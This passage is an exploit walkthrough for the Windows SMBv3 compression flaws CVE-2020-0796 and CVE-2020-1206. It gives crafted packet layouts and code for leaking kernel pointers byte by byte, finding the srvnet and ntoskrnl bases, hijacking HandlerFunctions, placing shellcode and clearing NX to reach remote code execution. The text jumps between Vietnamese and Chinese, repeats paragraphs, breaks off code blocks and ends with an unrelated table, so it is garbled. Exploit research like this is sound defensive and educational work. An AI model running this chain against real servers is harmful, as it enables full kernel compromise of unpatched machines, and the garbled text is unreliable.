Ta có thể thấy phần từ địa chỉ 0xffffd38439044050 đến 0xffffd38439045160 là dữ liệu do client gửi đến, phần từ 0xffffd38439045160 đến 0xffffd38439046150 là dữ liệu chưa được khởi tạo ở phía server, phần từ 0xffffd38439046150 đến 0xffffd38439046240 là dữ liệu của SRVNET_BUFFER_HDR của Alloc A. Như vậy con trỏ mà ta muốn đọc sẽ nằm ở 0xffffd38439046150 + 0x18 = 0xffffd38439046168.
Để đọc được con trỏ này, tôi đã sử dụng kĩ thuật mà tôi đã nói ở trên, đặt trường offset vượt ra ngoài con trỏ cần đọc. Chính vì vậy mà gói tin trên dù có kích thước nhỏ hơn 0x2100 nhưng offset lại được set 0x2116.
Tiếp theo, SMB server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một vùng nhớ dựa trên tổng của OriginalCompressedSegmentSize và Offset (0x2116) . Từ đó cấp phát một alloc với vùng user buffer có kích thước 0x4100 (ta sẽ gọi nó là Alloc B). Dữ liệu được cấp phát sẽ có dạng như sau:

Để tránh các lỗi không mong muốn, trước đó tôi đã tạo đi tạo lại nhiều lần các buffer cùng lookasite list với Alloc B và lấp đầy các byte 0x0 vào nó.
Tiếp theo, SMB server sẽ tiến hành giải nén data được nén và copy data không được nén do client gửi vào vùng user buffer của Alloc B:

Như ta có thể thấy, dữ liệu nén là không có do OriginalCompressedSegmentSize = 0, chương trình sẽ copy dữ liệu từ 0xffffd38439044060 đến 0xffffd38439044060 + 0x2116 = 0xffffd38439046176 của Alloc A vào vùng user buffer của Alloc B. Như vậy, một phần thông tin SRVNET_BUFFER_HDR của Alloc A đã được copy vào vùng user buffer của Alloc B.
Bây giờ ta sẽ sử dụng kĩ thuật mà ta đã nói trước đó để leak được địa chỉ của allocation pool (địa chỉ của User Buffer).
Giả sử ta muốn biết một byte ở địa chỉ 0xffffd3843636f15e có lớn hơn 0x7f hay không? Ta sẽ tiến hành tạo một gói SMB với thông tin như sau:``` c Header:
為什麼需要創建這樣一個 SMB,我們將逐一分析。首先,OriginalCompressedSegmentSize 和 Offset 的總和是 0x4100,這樣它會重複使用一個具有類似 user buffer 的 alloc,也就是之前用過的 Alloc B。因為我們要猜測地址 0xffffd3843636f15e 處的 1 個字節是否大於 0x7f,這個地址距離 user buffer 地址為 0x210e,所以未壓縮的數據將有 0x210e 個字節(‘B’ * 0x210e)。接下來是有效的壓縮數據區域(由 compress() 函數壓縮),緊跟著是無效的壓縮數據(‘\xff’* 0x1fe9)。這樣在解壓縮時,只有有效的壓縮數據會被解壓到另一個 alloc 區域,然後由於後面的無效壓縮數據,連接會中斷,未壓縮的數據不會被複製到該 alloc 中,從而使我們之前複製的數據保持不變。

上面是一個 Alloc,包含我們之前提到的由 SMB server 創建的信息。接下來,SMB Server 會調用 SrvNetAllocateBuffer 函數來創建一個對應的 Alloc。由於其 OriginalCompressedSegmentSize 和 Offset 的總和是 0x4100,因此 Alloc B 將被重用:

然後 SMB server 將從客戶端發送的信息解壓縮到 Alloc B 的 user buffer 對應的 offset 處。

紅色數據是解壓縮後的數據,其餘部分保持不變。如上圖所示,我們需要知道的字節保持不變,緊跟在它後面的是剛解壓縮的數據。
為了知道這個字節是否大於 0x7f,我們進行如下操作:
我們繼續創建一個 SMB 包,內容如下:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0x2004
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x20fd
Data = ‘B’ * 0x20f1
Mặc dù tổng OriginalCompressedSegmentSize và Offset là lớn hơn 0x4100 nhưng khi cấp phát vùng alloc để lưu gói tin được gửi đến từ client (với tổng kích thước dưới 0x4100), SMB server vẫn chỉ cấp phát một Alloc có vùng user buffer là 0x4100 byte như hình bên dưới:

Các dữ liệu được tô màu xanh lá như trên là những dữ liệu của Alloc B được cấp phát lần trước, do cùng lookaside list nên được tái sử dụng.
Tiếp theo SMB Server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một Alloc chứa dữ liệu sau khi giải nén:

Qua việc giải nén, SMB server sẽ lấy dữ liệu từ User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Dữ liệu được lấy ra sẽ có dạng như sau:

Với thuật toán giải nén đã được nói ở trên, nó sẽ tiến hành lấy ra 2 byte đầu tiên và sử dụng như length của block, dựa vào length đó nó sẽ lấy ra phần tiếp theo sau length và giải nén. Như trên thì length sẽ là 0xB0D3, tuy nhiên theo thuật toán, thì length thật của nó sẽ theo công thức: length = length & 0xFFF + 1 → length sẽ là 0xD4. Nó sẽ lấy ra D4 byte tiếp theo và tiến hành giải nén bình thường cho đến khi gặp được byte FF (do 0xD4 byte sẽ gồm cả tất cả byte 00 và một phần byte FF), lúc này dữ liệu nén được coi là không hợp lệ, nó sẽ không giải nén tiếp và ngắt kết nối.

Dựa vào việc ngắt kết nối của server, ta có thể đoán byte mà ta cần biết sẽ lớn hơn 0x7f.
Vậy với việc byte ta cần đoán nhỏ hơn thì sao. Ta sẽ tiếp tục phân tích ở trên, nhưng lần này ta sẽ dùng byte so sánh là D7, như vậy D3 sẽ nhỏ hơn D7. Ta cùng xem chuyện gì sẽ xảy ra:
Đầu tiên gửi đến SMB server gói tin như sau:``` c Header:
Phía SMB server sẽ tạo một alloc lưu trữ như sau:

Tiếp theo nó sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một alloc như sau:

Tất nhiên alloc này được tái sử dụng lại từ alloc có cùng lookasidelist (Alloc B). Sau đó chương trình tiến hành giải nén bình thường với dữ liệu nén hợp lệ, và ngắt kết nối với dữ liệu nén không hợp lệ:

Bước tiếp theo, ta sẽ gửi tiếp một dữ liệu tương tự như lần trước và SMB server sẽ cấp phát một alloc tương ứng:

Các dữ liệu được tô màu xanh lá như trên là những dữ liệu của Alloc B được cấp phát lần trước, do cùng lookaside list nên được tái sử dụng.
Tiếp theo SMB Server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một Alloc chứa dữ liệu sau khi giải nén:

Qua việc giải nén, SMB server sẽ lấy dữ liệu từ User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Dữ liệu được lấy ra sẽ có dạng như sau:

Tương tự như lần trước thì length ban đầu sẽ là 0xB0D3, qua tính toán sẽ thành 0xD4. Và nó sẽ lấy ra D4 byte tiếp theo và tiến hành giải nén bình thường. Tuy nhiên do D4 < D7 nên dữ liệu nén được lấy ra để giải nén lúc này chỉ chứa toàn byte 0. Nó sẽ giải nén bình thường cho đến hết block đó. Tiếp theo nó sẽ lấy ra độ dài của block tiếp theo thông qua độ dài của block trước đó, hai byte tiếp theo là D5 và D6 là 0x0, nên độ dài của nó lúc này là 0x0, do đó length lấy ra sẽ là 0x0000 → kết thúc quá trình giải nén → giải nén thành công → SMB server trả lại một response → ta biết được byte cần biết nhỏ hơn hoặc bằng 0xD7.
Tương tự như vậy ta sẽ làm cho đến khi leak được toàn bộ 6 byte của một address. Ta sẽ có được allocation pool address.
Khi có được allocation pool address, ta sẽ tiến hành tìm địa chỉ srvnet base address thông qua việc lấy con trỏ trỏ tới cấu trúc SRVNET_RECV bằng cách tương tự như leak allocation pool address.
Sau khi có được 2 địa chỉ: allocation pool và SRVNET_RECV lần lượt có giá trị: `0xffffd38439044000` và `0xffffd3843654ddd8`, ta tiến hành leak srvnet base address.


Để đọc con trỏ AcceptSocket, ta cần làm như sau:
1. Chuẩn bị Alloc A từ một lookaside list sao cho vùng “User buffer” được lấp đầy bởi các số 0. Buffer này sau đó sẽ chứa con trỏ mà chúng ta sẽ đọc. Ở đây Alloc A sẽ được sử dụng từ Alloc ứng với allocation pool address mà ta leak được. Do đó, vùng User buffer của Alloc A sẽ bắt đầu từ địa chỉ 0xffffd38439044050 thông qua việc sử dụng chung một lookaside list.
2. Chuẩn bị Alloc B từ một lookaside list khác để:
- Con trỏ pMdl1 trỏ đến địa chỉ của con trỏ AcceptSocket trừ đi 0x18, (do offset của MappedSystemVa là 0x18 trong cấu trúc MDL).
- Con trỏ pMdl2 trỏ đến vùng “User buffer” của Buffer A.
- Trường Flags được set thành 0x03.
Như vậy địa chỉ của 2 con trỏ Mdl lần lượt là: mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`.
Ta có thể ghi đè các trường cấu trúc SRVNET_BUFFER_HDR bằng cách giải nén chúng từ buffer lớn hơn thông qua kỹ thuật được mô tả trong phần [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).
Tôi sẽ nói rõ hơn bước này ngay sau bước 4.
3. Khi Buffer B được giải phóng, các hoạt động sau sẽ diễn ra:
- Các MDL flags sẽ được đọc từ MDL thứ hai tại buffer A. Nếu MDL_PARTIAL_HAS_BEEN_MAPPED flag được set, MmUnmapLockedPages sẽ được gọi và hệ thống có khả năng bị crash. Đó là lý do tại sao ta phải lấp đầy buffer bằng các số 0 ở bước 1.
- Vùng “User buffer” của Alloc A sẽ được sửa đổi và chứa các thông tin mà ta cần đọc.
4. Đọc con trỏ AcceptSocket từ vùng “User buffer” của buffer A.
- Sử dụng kĩ thuật leak địa chỉ đã dùng ở trên để đọc con trỏ AcceptSocket.
Sau đây tôi sẽ mô tả rõ hơn về các bước trên:
Ở bước 1 khá đơn giản và tương tự như trên, nên tôi sẽ không nói đến nữa.
Ở bước 2, đầu tiên ta sẽ tạo một gói tin gửi đến SMB Server với nội dung như sau:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = -0x38
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10
Như ta có thể thấy, OriginalCompressedSegmentSize chứa giá trị âm và tổng OriginalCompressedSegmentSize + Offset = 0x10100. Tuy nhiên kích thước gói tin mà client gửi đến server lớn hơn 0x10100. Như vậy Alloc ban đầu do server tạo trước khi giải nén sẽ lớn hơn Alloc chứa dữ liệu sau khi giải nén. Giá trị OriginalCompressedSegmentSize được set âm ở đây đê giúp tổng OriginalCompressedSegmentSize và Offset đúng bằng với 0x10100, mà không làm ảnh hưởng đến vị trí của dữ liệu nén, vì nó tùy thuộc vào Offset. Còn 0x38 là offset của con trỏ Mdl1 trong cấu trúc SRVNET_BUFFER_HDR.
Như vậy server sẽ tạo ra một Alloc chứa dữ liệu của client như sau:

Tiếp theo nó sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một alloc có kích thước vùng User buffer là 0x10100, tức Alloc B theo như các bước ở trên:

Tiến hành giải nén, tất nhiên chỉ giải nén được một phần dữ liệu hợp lệ:

Dựa vào các hình trên, có thể thấy được vùng 2 con trỏ Mdl trong SRVNET_BUFFER_HDR của Alloc B đã được sửa đổi thành giá trị mà ta mong muốn.
Tương tự như trên, lần này ta sẽ set flag bằng 3 thông qua việc điều chỉnh offset của gói tin gửi đi như sau:``` c Header:
最后它将具有形式:

当Alloc B被释放时,以下代码段将被执行:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER
pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
同上,pMdl1->MappedSystemVa(偏移0x18)将保存pMdl1->MappedSystemVa + 0x50 = 0xffffd3843654de68 + 0x18 + 0x50 = 0xffffd3843654ded0的值。
在释放Alloc B之前,SRVNET_RECV如下:

运行上述代码的前4行后:

在释放Alloc a之前:

运行完上述代码后:

而我们在Alloc A中需要读取的字节是以下蓝色字节:

这样,我们只需使用上述逐字节泄露技术,即可获得AcceptSocket + 0x50的地址。在本部分中,该地址为0xffffd3843ea02418 → AcceptSocket: 0xffffd3843ea023c8
类似地,我们将泄露AcceptSocket→ srvnet!SrvNetWskConnDispatch的地址。
我们需要准备以下内容:

释放Alloc B后,一切将如下变化:

为了获得AcceptSocket-> srvnet!SrvNetWskConnDispatch + 50的地址,我们需要知道的字节位于Alloc A中,这些字节是下图中标为蓝色的字节:

因此AcceptSocket-> srvnet!SrvNetWskConnDispatch为0xfffff80060e9d170,假设我们已经知道它在srvnet.sys模块中的偏移,就可以计算出srvnet基地址。
在本部分中,srvnet基地址为:0xFFFFF80060E70000,其中srvnet!SrvNetWskConnDispatch的偏移为0x2d170。
接下来,我们将使用CVE-2020-0796中的Write-what-where原语,向任意内存区域写入内容。
首先,我们将通过泄露srvnet导入的函数IoSizeofWorkItem的地址,来找到ntoskrnl基地址。为此,我们首先创建如下两个UNICODESTRING结构体:``` c // Destination unicode string desLength = 6; desMaximumLength = 6; desBuffer = allocation_pool_object_ptr + 0x1650 + 0x20 + 2;
// Source unicode string srcLength = 6; srcMaximumLength = 6; srcBuffer = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'];
使用 `allocation_pool_object_ptr` 作为已泄露的分配池地址,以及 `OFFSETS['srvnet!imp_IoSizeofWorkItem']` 作为 srvnet 导入的 IoSizeofWorkItem 函数的偏移量。
这两个 UNICODE_STRING 结构将通过 CVE-2020-0796 中发现的 Write-what-where 技术存储在 `allocation_pool_object_ptr + 0x1650` 处。
首先,我们将目标 Unicode 字符串存入 `allocation_pool_object_ptr + 0x1650`,然后按如下方式构建 SMB 数据包:``` c
Header:
- Id = 0x424d53fc
- OriginalCompressedSegmentSize = 0xffffffff
- CompressionAlgorithm = 1
- Flag = 0
- Offset = 0x22
Data:
sentinel = os.urandom(2) // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer) // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)
Ở trên, data có chứa sentinel được tạo ra bằng hàm os.urandom(2), nó sẽ có độ dài 2 byte, và 2 byte này sẽ giúp ta biết được địa chỉ ta leak ra có đúng là địa chỉ ta cần leak hay không thông qua việc so sánh nó sau khi quá trình leak thành công.
Nếu tổng kích thước của gói tin gửi đi từ client lớn hơn 0x1100 (điều này sẽ tùy thuộc vào dữ liệu được random trước khi nén) thì chắc chắn allocation_pool_object_ptr sẽ được sử dụng để chứa nó trên SMB server:

Tiếp theo SMB server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một vùng nhớ phục vụ cho việc giải nén. Nhưng do tổng của OriginalCompressedSegmentSize và Offset là 0x21 nên nó chỉ cấp phát một vùng với user buffer có kích thước là 0x1100:

Lỗi heap overflow diễn ra (đã trình bày trong CVE-2020-0796) và sau khi SMB server giải nén (trước khi việc copy dữ liệu không nén diễn ra) sẽ:

Như vậy con trỏ UserBufferPtr đã trỏ về đầu allocation_pool_object_ptr + 0x1650 và khi quá trình copy diễn ra thì allocation_pool_object_ptr sẽ:

Tương tự như vậy, ta sẽ chèn thêm một sentinel bên dưới bằng cách gửi gói tin sau:
在上面,数据中包含一个由 os.urandom(2) 产生的哨兵,其长度为 2 字节,这 2 个字节将帮助我们在泄漏成功之后通过比较得知泄漏的地址是否正是我们需要泄漏的地址。
如果客户端发送的数据包总大小大于 0x1100(这取决于压缩前随机生成的数据),那么 allocation_pool_object_ptr 肯定会被用来在 SMB 服务器上存放该数据包:

接下来 SMB 服务器会调用 SrvNetAllocateBuffer 函数来分配一块内存用于解压缩。但是由于 OriginalCompressedSegmentSize 和 Offset 之和为 0x21,因此它只分配了一个用户缓冲区大小为 0x1100 的内存区域:

堆溢出漏洞发生(已在 CVE-2020-0796 中描述),在 SMB 服务器解压缩后(在复制未压缩数据之前),将会:

因此,UserBufferPtr 指针指向了 allocation_pool_object_ptr + 0x1650 的开头,当复制过程发生时,allocation_pool_object_ptr 将会:

类似地,我们通过发送以下数据包来在下方插入另一个哨兵:``` c Header:
Như vậy khi SMB server nhận gói tin, nó sẽ cấp phát vùng nhớ tương ứng, lúc này vùng nhớ được cấp phát là allocation_pool_object_ptr và nó sẽ chứa dữ liệu như sau:

Sau quá trình giải nén thì dữ liệu sẽ là:

Như vậy ta đã tạo ra 2 unicode string và hai sentinel để xác thực dữ liệu ta leak được.
Tiếp theo ta sẽ gọi hàm `RtlCopyUnicodeString` và truyền hai unicode string ở trên vào.
Để gọi được hàm `RtlCopyUnicodeString`, trước tiên ta sẽ ghi đè con trỏ HandlerFunctions thành địa chỉ của hàm `RtlCopyUnicodeString`, hàm này được module srvnet import và có offset (theo module của tôi) là 0x32288.
Như vậy với kĩ thuật write-what-where, ta sẽ ghi địa chỉ 0xFFFFF80060E70000 + 0x32288 - 0x8 vào HandlerFunctions.
Trước tiên ta sẽ leak một con trỏ SRVNET_RECV (0xffffe00f0b593dd8).

Ta sẽ lưu lại kết nối để tiếp tục gửi các gói tin bên dưới.
Tiếp theo ta sẽ dùng kĩ thuật write-what-where ghi vào con trỏ RtlCopyUnicodeString - 0x8 (lí do - 0x8 là để hàm RtlCopyUnicodeString thay thế hàm Srv2ReceiveHandler trong HandlerFunctions)

Tiếp đến ta sẽ ghi lần lượt 2 con trỏ của 2 unicode string đã tạo ở trên vào 2 đối số của HandlerFunction

Lúc này, cùng một kết nối, hàm Srv2ReceiveHandler đã bị thay bằng RtlCopyUnicodeString, vì vậy, khi ta gửi một gói tin đến, hàm RtlCopyUnicodeString sẽ được gói và copy Unicode String.

Việc tiếp theo ta cần làm là leak 10 byte địa chỉ từ 0xffffd38439045670 đến 0xffffd3843904567a (bao gồm cả 2 sentinel ở 2 đầu địa chỉ cần leak). Sau đó kiểm tra 2 byte ở phần đầu và cuối của địa chỉ leak được có phải là sentinel không, nếu là sentinel thì ta đã leak đúng (0xfffff8068152c380).
Sau khi leak được địa chỉ nt!IoSizeofWorkItem (0xfffff8068152c380), ta sẽ trừ đi offset của nó (0x12C380) để ra được ntoskrnl base address (0xfffff80681400000)
Lưu ý là mỗi offset của mỗi file module trên các phiên bản windows khác nhau là khác nhau, vì vậy hãy chắc chắn bạn có đúng file module trên máy target.
Tương tự, sau khi có được ntoskrnl base address, ta sẽ có được MiGetPteAddress (0xBA968) và có được PTE base address (MiGetPteAddress + 0x13) :

Bước tiếp theo, ta sẽ ghi shellcode vào 0xFFFFF78000000800 bằng kĩ thuật write-what-where. Sau đó tính toán lại địa chỉ shellcode trong pte thông qua công thức bên dưới và clear bit NX để đoạn shellcode có thể thực thi được:``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base
最后,我们将 shellcode 地址写入 allocation_pool_object_ptr + 0x50 + 0x1600,并通过将该地址替换 HandlerFunctions 并将 nt_base_ptr 地址传递给 shellcode 来调用 shellcode。
享受 RCE 吧 :))
DatntSec. Viettel Cyber Security.
| → 分配大小 ↓逻辑处理器 | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100 | 0x100100 |
|---|
| 处理器 1 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| 处理器 2 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |
| ... | |||||||||
| 处理器 n | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 | 📝 |